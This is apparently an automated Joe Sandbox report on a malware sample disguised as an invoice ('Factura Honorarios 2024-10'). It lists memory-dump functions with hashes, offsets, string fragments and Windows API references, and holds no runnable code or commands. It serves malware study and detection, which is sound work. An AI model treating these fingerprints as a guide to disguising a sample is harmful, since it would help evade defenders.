Instruction ID: 4696b803cb55c0a818d841cd083f56ed40ee044f0a1e7a326e78aa911acc8bc7
Opcode Fuzzy Hash: f34e73662beb6691ccba4b1cbbdb903be736ddb22a7413e4ab64b0fbfc155fee
Instruction Fuzzy Hash: D741F274E012188BEB18CFAAD8407DEBBF2BF89300F50D12AD418BB264EB355946CF50

Function 3AD36675 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015811408.000000003AD30000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad30000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b65eaab4722078a78d293ca86eb794dc62e753920dc8f2d6a10fad0db933161
Instruction ID: f72b18ff011f60b312f16321585ee76e07d127034fba549e500f2d2b77345982
Opcode Fuzzy Hash: 6b65eaab4722078a78d293ca86eb794dc62e753920dc8f2d6a10fad0db933161
Instruction Fuzzy Hash: FA410674E012188BEB58CFAAD8506DEFBF2BF89300F14D12AD418BB254EB345906CF40

Function 39C5E257 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba83f2c2c59d2b774edc6d5dbeb3e5a2e4ddfd23a52b6653146075fabb644ef
Instruction ID: aa79e3f596362992d07af79bbbc379ec8954d8bb08d624a916facd1a4cc14874
Opcode Fuzzy Hash: 9ba83f2c2c59d2b774edc6d5dbeb3e5a2e4ddfd23a52b6653146075fabb644ef
Instruction Fuzzy Hash: 1841E2B4E01248CBEB18CFAAD8506DEBBF2AF89300F20D12AD419BB255DB345946CF54

Function 39C5E249 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce2f630e024b4c32761289aa5aaac481481815fdcbd9963f901117181e88edf
Instruction ID: a1e3c85c238018ae57f9da9720175e0a4ebc9dd98cc26c7b7e3598fb4d84d884
Opcode Fuzzy Hash: 4ce2f630e024b4c32761289aa5aaac481481815fdcbd9963f901117181e88edf
Instruction Fuzzy Hash: 8A31B0B4E01648DBEB08CFAAD9506DDFBF2AF89300F20D12AD419BB255DB345946CF58

Function 001676F1 Relevance: 10.5, Strings: 8, Instructions: 475
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 00167BA0
(o^q, xrefs: 00167BFF
(o^q, xrefs: 001678B2
(o^q, xrefs: 0016772E
(o^q, xrefs: 00167C0F
(o^q, xrefs: 00167815
,bq, xrefs: 00167B90
(o^q, xrefs: 001677E9

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 89485af03678fac0c9e1e5114b70942c53efcc20fdee86f2f561e39db5025b9a
Instruction ID: b99633374226c08dc65c5bc09ef896f4cba022f29e858338faf543bae722f887
Opcode Fuzzy Hash: 89485af03678fac0c9e1e5114b70942c53efcc20fdee86f2f561e39db5025b9a
Instruction Fuzzy Hash: A7125930A042098FCB15CF68D984AAEBBF1FF48318F1585A9E859DB3A1D730ED51CB90

Function 39C53FE8 Relevance: 6.6, Strings: 5, Instructions: 379
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJcq, xrefs: 39C54462
Hbq, xrefs: 39C54231
Hbq, xrefs: 39C54036
8cq, xrefs: 39C54429
Hbq, xrefs: 39C541D2

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 8cq$Hbq$Hbq$Hbq$TJcq
API String ID: 0-1895975235
Opcode ID: cbeb22d3b4b1859cbb1b49cfc6f8a50f4a029a6d92d20f3bd57039cd7e9f1a36
Instruction ID: ee9bb8fe5a77afd19b2b7107cbbf11350c301cfd29f1b7836572335e24679326
Opcode Fuzzy Hash: cbeb22d3b4b1859cbb1b49cfc6f8a50f4a029a6d92d20f3bd57039cd7e9f1a36
Instruction Fuzzy Hash: F0D1E734B042448FDB04DB6AD590AEE7BB2EFC8360F244165E506EB3A1CB31ED45CB95

Function 3ADB9963 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3ADB99EE
GetCurrentThread.KERNEL32 ref: 3ADB9A2B
GetCurrentProcess.KERNEL32 ref: 3ADB9A68
GetCurrentThreadId.KERNEL32 ref: 3ADB9AC1

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 33f3bf44c39fb9ae564d12f52c9d46dcbe3e3bcadff48397eb9b8887ca6c21f9
Instruction ID: 8ea1fdaaea6af7d88bd7fa7cfa082a0a4bc7d96dc06883a8469369b6db3aed73
Opcode Fuzzy Hash: 33f3bf44c39fb9ae564d12f52c9d46dcbe3e3bcadff48397eb9b8887ca6c21f9
Instruction Fuzzy Hash: F65137B19002498FDB04DFA9C548BDEBFF1EF88310F218459E45AA7361DB34A981CF65

Function 3ADB9970 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3ADB99EE
GetCurrentThread.KERNEL32 ref: 3ADB9A2B
GetCurrentProcess.KERNEL32 ref: 3ADB9A68
GetCurrentThreadId.KERNEL32 ref: 3ADB9AC1

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c78cce75e2cf8ca359876d8541e6e67025b38157c48e738b8b30941caeed0921
Instruction ID: 065440e2259c1f8aab66ca4146cb2a1730596531c8b9b7c69a68da802360e8bc
Opcode Fuzzy Hash: c78cce75e2cf8ca359876d8541e6e67025b38157c48e738b8b30941caeed0921
Instruction Fuzzy Hash: E85115B19002498FDB14DFAAC548BDEBFF1EF88314F218459E45AA7360DB34A981CF65

Function 39C53A50 Relevance: 5.2, Strings: 4, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 39C53CEE
Hbq, xrefs: 39C53D21
Hbq, xrefs: 39C53CBB
, xrefs: 39C53B4D

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: $Hbq$Hbq$Hbq
API String ID: 0-580995494
Opcode ID: 76de55e87fa27b52a8e58020e0bd1857a9743b82239e0f9fe4c6453d68454646
Instruction ID: a32ed791710f043089d412c542e7fa95e7a1e1bcdc38a2202b8d16ebac949f17
Opcode Fuzzy Hash: 76de55e87fa27b52a8e58020e0bd1857a9743b82239e0f9fe4c6453d68454646
Instruction Fuzzy Hash: 2D810134B00284DBEB146F79986926D36A2EFC5360F244329F917DB3D1CE359D42CB99

Function 00165F38 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

Hbq, xrefs: 00166023
Hbq, xrefs: 00166056

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: Hbq$Hbq
API String ID: 0-4258043069
Opcode ID: 181dd6fca88e50120e1152a1d8297fa9824fe96d40692613d400a396e7050077
Instruction ID: ec7012eb842954664ae566263a9cf1ebe62431f1cb49edb67161259d08a72d28
Opcode Fuzzy Hash: 181dd6fca88e50120e1152a1d8297fa9824fe96d40692613d400a396e7050077
Instruction Fuzzy Hash: 1B91AD303042558FDB159F78DC9466E7BE6BFC9300F19856AE8468B3A2CF398C52DB91

Function 3AD6E950 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

LR^q, xrefs: 3AD6EA99
LR^q, xrefs: 3AD6E96C

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: LR^q$LR^q
API String ID: 0-4089051495
Opcode ID: 01f8fc0b55c4d051ec57acca4bf0b1d7ee4c970ef741867535d18b8b13223469
Instruction ID: bb21b67fa429bcacec3972354c1241c093d7d2be4241e94ea852f467c4a3f8a2
Opcode Fuzzy Hash: 01f8fc0b55c4d051ec57acca4bf0b1d7ee4c970ef741867535d18b8b13223469
Instruction Fuzzy Hash: 6E819938B002158FDB08DF79C95495E77B6BF89608B5681A9E506DF3B1EE30EC02CB91

Function 00166498 Relevance: 2.7, Strings: 2, Instructions: 232COMMON

Download Yara Rule

Strings

,bq, xrefs: 0016656E
,bq, xrefs: 00166578

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: ad1e410d3180cf1007fb3af8e2e283784fc0abae8ec72ef108cc4f6acc0550b4
Instruction ID: c1585813508ae0a4ff628d95a19046d9a5ac31cf0f6c7779f0d6c22c10c97288
Opcode Fuzzy Hash: ad1e410d3180cf1007fb3af8e2e283784fc0abae8ec72ef108cc4f6acc0550b4
Instruction Fuzzy Hash: 5B81A134A00505DFCB18DF69DC849AABBF2BF89305B258169D406EB375DB31EC61CB91

Function 0016AEBA Relevance: 2.6, Strings: 2, Instructions: 122COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0016B079
(o^q, xrefs: 0016AECD

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: (o^q$(o^q
API String ID: 0-1946778100
Opcode ID: 42d14288a8e3954a7af77b6d70792bc10ccd2ba93fa661a6edb534b176697609
Instruction ID: bc43ca1650cdd6283be2fb3c15c3b941479d3c5f48c27058a182f9e221b06152
Opcode Fuzzy Hash: 42d14288a8e3954a7af77b6d70792bc10ccd2ba93fa661a6edb534b176697609
Instruction Fuzzy Hash: 8941D0317042048FCB05AF78DC146AE7BF6BF88711B1444AAE516DB3A2DB319C55CBA2

Function 00163CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xbq, xrefs: 00163CCD
Xbq, xrefs: 00163CF6

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: Xbq$Xbq
API String ID: 0-1243427068
Opcode ID: f8a7404689a7a33885bc4391a314f0c6a04a2a638a4ddc96e2623a269d19847c
Instruction ID: 511a672b01d1ed80b6f6965b51671ae5fa957c58e4894e4e1865be84a0551cfd
Opcode Fuzzy Hash: f8a7404689a7a33885bc4391a314f0c6a04a2a638a4ddc96e2623a269d19847c
Instruction Fuzzy Hash: A331F331B042248BDF1C4AFE8D9427EA5EAAFC4311F64443EE826D3390DF75CE5596A1

Function 00168EF8 Relevance: 2.6, Strings: 2, Instructions: 108COMMON

Download Yara Rule

Strings

$^q, xrefs: 00168FB4
$^q, xrefs: 00168FD7

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: $^q$$^q
API String ID: 0-355816377
Opcode ID: a176f5a0e767e586b7535f702317f4624e3e152973c21101174af709b04bbc6e
Instruction ID: f847be3c0fae81a51c13af8622176ab12ff385c310024af23ef955e9539d4d47
Opcode Fuzzy Hash: a176f5a0e767e586b7535f702317f4624e3e152973c21101174af709b04bbc6e
Instruction Fuzzy Hash: 4131A5303042558FC7298B3DDC9463E7BA7BB85710B2546EAF052CB6A2EF29CC91C795

Function 39C54351 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

TJcq, xrefs: 39C54462
8cq, xrefs: 39C54429

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 44538cb92a6514b88794299cd67657079340bbee64cf0100f64544ae14d90fae
Instruction ID: c9d4cd683684ceb56dd15314c965e823cf7cc467b8d10503050f3809eb64477e
Opcode Fuzzy Hash: 44538cb92a6514b88794299cd67657079340bbee64cf0100f64544ae14d90fae
Instruction Fuzzy Hash: 0F310335A402098FCB04DBA9C591EDDBBB2AF88324F195590E505EB366DB30EC85CBA0

Function 39C54385 Relevance: 2.6, Strings: 2, Instructions: 100COMMON

Download Yara Rule

Strings

TJcq, xrefs: 39C54462
8cq, xrefs: 39C54429

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 8cq$TJcq
API String ID: 0-1920894394
Opcode ID: 6c83ef3324c1932e647c8b0fe9924af824c8daae08f6f87358ee4ff1b40a6f95
Instruction ID: 78572bc76a8d93ff23a8ab6ce2e3c0394cf5f1fec12f5c6a6340f3eeb79fcab5
Opcode Fuzzy Hash: 6c83ef3324c1932e647c8b0fe9924af824c8daae08f6f87358ee4ff1b40a6f95
Instruction Fuzzy Hash: 0F311435A401098FCB04EFA9C590E9DBBB2EF88324F155594E505EB366CA70EC858BA0

Function 00169D59 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

4'^q, xrefs: 00169D6D
4'^q, xrefs: 00169D84

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 80e0d97f4c972e859d4dff8525e13ced30ebe116f2d4c976252189435d17cef1
Instruction ID: 7e33840ac9a38aa533dfac40574367c71bf5852df20500bf7742926ed0d22255
Opcode Fuzzy Hash: 80e0d97f4c972e859d4dff8525e13ced30ebe116f2d4c976252189435d17cef1
Instruction Fuzzy Hash: D0F044353002186FDB081AA69C6497ABADFEBCD3A0B148429B909C7355DE71CC5283A1

Function 00160CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR^q, xrefs: 00160F19

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: 5a0a77e54f0501c71d2ff8570e9b4c3512d385ff60f0ef39e0f6f32f32271a1d
Instruction ID: 9e9476e19f937c1ad52c20f51034a753dc42ebdcab9853db010a6fcac51f59c5
Opcode Fuzzy Hash: 5a0a77e54f0501c71d2ff8570e9b4c3512d385ff60f0ef39e0f6f32f32271a1d
Instruction Fuzzy Hash: 4752FB74904219CFDB54DFA8DD95A8DBBB2FF89305F1041A9D809AB364DB346E86CF80

Function 3AEA4584 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3AEA46A2

Memory Dump Source

Source File: 00000004.00000002.3016160688.000000003AEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aea0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e9adb35d7bd8c66507d6b2640b5c2340d8946ac91c341f934541606636ddbda9
Instruction ID: 72ee03612bb333176b9e32161a3875038c2358ca4379d2dcb142ec1159a12d0f
Opcode Fuzzy Hash: e9adb35d7bd8c66507d6b2640b5c2340d8946ac91c341f934541606636ddbda9
Instruction Fuzzy Hash: CE51E3B5D103499FDB14CFA9C884ADEBFF1BF88314F64812AE419AB210DB749881CF91

Function 3AEA4590 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3AEA46A2

Memory Dump Source

Source File: 00000004.00000002.3016160688.000000003AEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aea0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 99bc9db1d8da8d8104f4953f84eb9d059a22a95fae4999e3b2678cea7b191ca1
Instruction ID: 0996ec848ce5bdd9b9fe815f8cb6cb5d147d996121cc210aea9f20568c039db7
Opcode Fuzzy Hash: 99bc9db1d8da8d8104f4953f84eb9d059a22a95fae4999e3b2678cea7b191ca1
Instruction Fuzzy Hash: 4A41C2B5D00349DFDB14CF99C984ADEBBB5FF88314F64812AE419AB210DB719841CF91

Function 3AEA3384 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 3AEA6C11

Memory Dump Source

Source File: 00000004.00000002.3016160688.000000003AEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aea0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 99343a91f5476cd3b33c63e1b3bd5f393e5aaec7ace069a7ff5d9dbf4f4f0e1c
Instruction ID: 15b18efb39e22f1a5e83a409c37b57ecd2e8f92e6e36e518b918392d1247cba4
Opcode Fuzzy Hash: 99343a91f5476cd3b33c63e1b3bd5f393e5aaec7ace069a7ff5d9dbf4f4f0e1c
Instruction Fuzzy Hash: 484117B9900315DFDB14CF99C884A9ABBF5FF89314F24C459D519AB321D778A841CFA0

Function 3ADB9BB0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3ADB9C3F

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2b607536199a2d20fdf99f0f72505f809b46cff11926b0b6257079f22945a2a4
Instruction ID: e4ad31a706e7c3a9630c46ddaf20c58c883f5da3ca94f17dbbac726c3cf38629
Opcode Fuzzy Hash: 2b607536199a2d20fdf99f0f72505f809b46cff11926b0b6257079f22945a2a4
Instruction Fuzzy Hash: A821E4B59002489FDB10CFAAD585ADEFBF4FB48320F14841AE959A7310D778A950CFA1

Function 3ADB9BB8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3ADB9C3F

Memory Dump Source

Source File: 00000004.00000002.3016047215.000000003ADB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3ADB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3adb0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1ada42722ad0b080a02f2fbfa6b9da9e59e84e25df557af97850988483e2c871
Instruction ID: 3ad7e23a894fd55394eb2f291e4671e954b0f7e634a1f48b3901c1d5ff3a289e
Opcode Fuzzy Hash: 1ada42722ad0b080a02f2fbfa6b9da9e59e84e25df557af97850988483e2c871
Instruction Fuzzy Hash: 2521D5B59002589FDB10CFAAD984ADEFFF4EB48320F14841AE959A7310D774A940CFA5

Function 3AEA8288 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3AEA90ED

Memory Dump Source

Source File: 00000004.00000002.3016160688.000000003AEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aea0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: a1d00661b711b36018048a2e3f7c2cdaa9606d4113bf8f4c395321ee6617653e
Instruction ID: dc1abe54a98cd5d07c7488934734386a864c7c50001a3fead9f60f31ea6d340e
Opcode Fuzzy Hash: a1d00661b711b36018048a2e3f7c2cdaa9606d4113bf8f4c395321ee6617653e
Instruction Fuzzy Hash: 0A1115B5900348CFDB20DFAAD584BDEBBF4EB48324F10845AD558A7310D775A944CFA5

Function 3AEA9090 Relevance: 1.5, APIs: 1, Instructions: 45comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3AEA90ED

Memory Dump Source

Source File: 00000004.00000002.3016160688.000000003AEA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AEA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aea0000_Factura Honorarios 2024-10.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 90d6480dab47bf088cf7ecd8c0e8aff8255d76f4d3f4d0919e60a7bc73e72423
Instruction ID: b3fa4931a90115e34a09e1659270a8414007beb8f8f6cf0a8ca2f402616ebec1
Opcode Fuzzy Hash: 90d6480dab47bf088cf7ecd8c0e8aff8255d76f4d3f4d0919e60a7bc73e72423
Instruction Fuzzy Hash: 891145B59002888FCB10DFA9D488BDEBFF0EB48324F208459D159A7210C739A640CFA5

Function 39C54790 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

Hbq, xrefs: 39C54825

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 8eea77d6868da845c406becf1ce797bb39e8761c6aabe55e54d01741051afb7e
Instruction ID: 5c3ac848d37b9b34fb5fda26121aa1a89c50f7b084d581f1d9b03b746412f0a7
Opcode Fuzzy Hash: 8eea77d6868da845c406becf1ce797bb39e8761c6aabe55e54d01741051afb7e
Instruction Fuzzy Hash: EE31C331B042449FCB48EFB99855AAE7BF6EF88340B1481BEE50AD7351DE348D02CB90

Function 39C548D0 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

Hbq, xrefs: 39C5492E

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 82937c36a8b673fde4d71541839ca25ad6844ab60e07c8523fecc2c190834869
Instruction ID: 0a9c9b5b9903a2621be5bc651aae933f7e4e59ded59a72e21233802a9762e0e2
Opcode Fuzzy Hash: 82937c36a8b673fde4d71541839ca25ad6844ab60e07c8523fecc2c190834869
Instruction Fuzzy Hash: 2621F030A042889FDB089F6AD8556AEBFBAFFC5340F20807AE506973A5CE314D46CB54

Function 0016E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0825f794981de56b1342f19921fd42441fd961fa58e72fba17887059f6aead
Instruction ID: 9008e21ad09653b2c1f94801ecf47a531e8e974380e4874ed8aa57b90299821e
Opcode Fuzzy Hash: 1a0825f794981de56b1342f19921fd42441fd961fa58e72fba17887059f6aead
Instruction Fuzzy Hash: 7612AA34031642EFE640AB70EDAC16A7BA5FB1F7277046C2AF00FC18759B7554DACA62

Function 39C54A68 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015303748.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39c50000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf99bb5d3561b93cba54afd21e81c2a81f371449af8c064d05f5990e9aba3cfb
Instruction ID: a8f75cc4dc236c6d38734890381d9c837e57b274dc91b446ab8fe09c31d9fec1
Opcode Fuzzy Hash: bf99bb5d3561b93cba54afd21e81c2a81f371449af8c064d05f5990e9aba3cfb
Instruction Fuzzy Hash: 4D51E476A006059FD7148F6EE841AEABBF9FBC4360F10853EE41AD7790D7309801CBA4

Function 001680D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2984945283.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6729a7066f725d659e231a7e17f87be6cf4c9c098fe5953476e2324d93797735
Instruction ID: 8398834836d8b87b48944460c35bfbfd3ba85ce8bb39f2965a92b97c0275b0ee
Opcode Fuzzy Hash: 6729a7066f725d659e231a7e17f87be6cf4c9c098fe5953476e2324d93797735
Instruction Fuzzy Hash: 527138347006058FCB14DF68CCA4A6A7BE6BF9A340B1942A9E806DB3B1DF70DC51CB51

Function 3AD6D700 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015879528.000000003AD60000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad60000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872e690a7a4422226130ecf6c75b07dccd9cfd40604040dbceb5f47c97d54f71
Instruction ID: 9e5f1bf197ec17a9efa4d6194a7624acd25bd588498e139c6f2ed1f968516423
Opcode Fuzzy Hash: 872e690a7a4422226130ecf6c75b07dccd9cfd40604040dbceb5f47c97d54f71
Instruction Fuzzy Hash: DA818E74E412289FDB65DF69D991BDDBBB2BB89304F1080EAD848B7264DB315E81CF40

Function 3AD781E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3015902819.000000003AD70000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AD70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ad70000_Factura Honorarios 2024-10.jbxd

Similarity

API ID:
